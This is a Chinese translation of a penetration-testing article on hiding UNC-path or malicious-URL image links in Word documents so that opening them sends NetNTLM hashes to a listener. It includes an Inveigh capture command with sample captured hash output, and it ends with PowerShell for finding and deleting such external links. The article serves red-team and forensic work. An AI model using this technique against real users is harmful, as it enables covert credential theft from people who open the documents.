【安识译文系列】使用图像链接的UNC路径注入

2018-02-11 5,647

在渗透测试中,Microsoft Word一直是一个很优秀的攻击媒介。从Web应用程序渗透测试到红蓝对抗,Word文档可用于抓取NetNTLM散列或证明网络上的出口过滤不足。已经有很多大佬对Word作为攻击媒介进行了大量的高质量研究。如果你至今还没有机会尝试过,赶紧来试试。首先要确保是通过netbiosX上的最新的博客通过框架捕获NetNTLM散列。

会使用到的工具列表:

840-340.png

链接图像

为了链接图像,首先要打开“插入”选项卡并单击“图片”图标。然后会将弹出资源管理器窗口。在文件名字段中,输入恶意URL并点击插入下拉菜单选择“链接到文件”。我们模拟一个客户端来做个简单的演示。

1.png

一旦链接,破碎的图像可以缩小到没有。如果这样一个恶意文档被用于红蓝对抗或社交类项目,你懂的~~

2.png

确保将更改保存到文档中。现在,无论何时打开此文档,Microsoft Word都会尝试解析文档中链接的图像。这些请求记录在Burp协作者客户端中。

3.png


使用UNC路径注入捕获NetNTLM散列

这里再讨论一个上文的方法,使用7zip,提取Word文档中包含的文件。我们要修改的文件是位于\ your_word_doc.docx \ word \ _rels \下的document.xml.rels。该文件包含关系列表及其关联的目标。将目标值设置为侦听主机的UNC路径。

4.png

保存该文件并使用7zip将其复制到word文档中。

5.png

一旦用户打开Word文档,Inveigh或Responder将捕获传入的身份验证请求。

PS C:\> Invoke-Inveigh -NBNS N -LLMNR N -ConsoleOutput Y -IP 192.168.0.2
Inveigh 1.3.1 started at 2017-12-19T17:22:26

Elevated Privilege Mode = Enabled 
WARNING: Windows Firewall = Enabled 
Primary IP Address = 
192.168.0.2
 
LLMNR Spoofer = Disabled 
mDNS Spoofer = Disabled 
NBNS Spoofer = Disabled 
SMB Capture = Enabled 
WARNING: HTTP Capture Disabled Due To In Use Port 80
 
HTTPS Capture = Disabled 
Machine Account Capture = Disabled 
Real Time Console Output = Enabled 
Real Time File Output = Disabled 
WARNING: Run Stop-Inveigh to stop Inveigh Press any key to stop real time console output

 
2017-12-19T17:23:19 SMB NTLMv2 challenge/response captured from 192.168.0.3(DESKTOP-2QRDJR2):
Administrator::DESKTOP-2QRDJR2:57[TRUNCATED]cb:091[TRUNCATED]5BC:010[TRUNCATED]02E0032002E00310038003200000000000000000000000000

这种方法的最主要优点就是,最终用户没有任何迹象表明Word试图连接到恶意的URL或UNC路径。一旦文档被打开,并且在启动时没有显示URL或UNC路径,就会发出请求。



使用PowerShell对关联目标进行枚举

上面描述的方法很简单,但却非常强大,因为它滥用了Microsoft Office中可信的固有功能。本节介绍了两种非常简单的枚举关联目标的方法,而不使用7zip。有很多取证工具集可以更有效地执行这些工作,例如Yara,这绝不是一个全面的取证方法。

Word.Application COM对象可用于访问Word文档的内容。这可以通过几个简单的命令来实现。WordOpenXML属性包含文档中的关系。

$file = "C:\path\to\doc.docx"
$word = New-Object -ComObject Word.Application
$doc = $word.documents.open($file)
$xml = New-Object System.XML.XMLDocument
$xml = $doc.WordOpenXML
$targets = $xml.package.part.xmlData.Relationships.Relationship
$targets | Format-Table
$word.Quit()

6.png

这将成功列举文档中的所有关系以及相应的目标。这里的问题是,当使用Word.Application COM对象时,将启动Word进程并解析URL / UNC路径。

7.png

为了避免这种情况,我们可以使用DocumentFormat.OpenXML库并枚举文档中的所有外部关系。在测试过程中,没有使用此方法捕获模拟客户端的请求或身份验证请求。

[System.Reflection.Assembly]::LoadFrom("C:\DocumentFormat.OpenXml.dll")
$file = "C:\path\to\doc.docx"
$doc = [DocumentFormat.OpenXml.Packaging.WordprocessingDocument]::Open($file,$true)
$targets = $doc.MainDocumentPart.ExternalRelationships
$targets
$doc.Close()

8.png

我们可以更进一步地使用DeleteExternalRelationship方法将通过提供关系id来移除与外部URL的关系。

$doc.MainDocumentPart.DeleteExternalRelationship("rId4")


参考

https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/

翻译者:安识科技吃鸡大王

翻译原文:https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/

Tags:
   

评论  (0)
快来写下你的想法吧!

安识科技

文章数:17 积分: 28

安识科技:专业的企业安全解决方案提供商。官网:https://www.duoyinsu.com/

关注我们

合作伙伴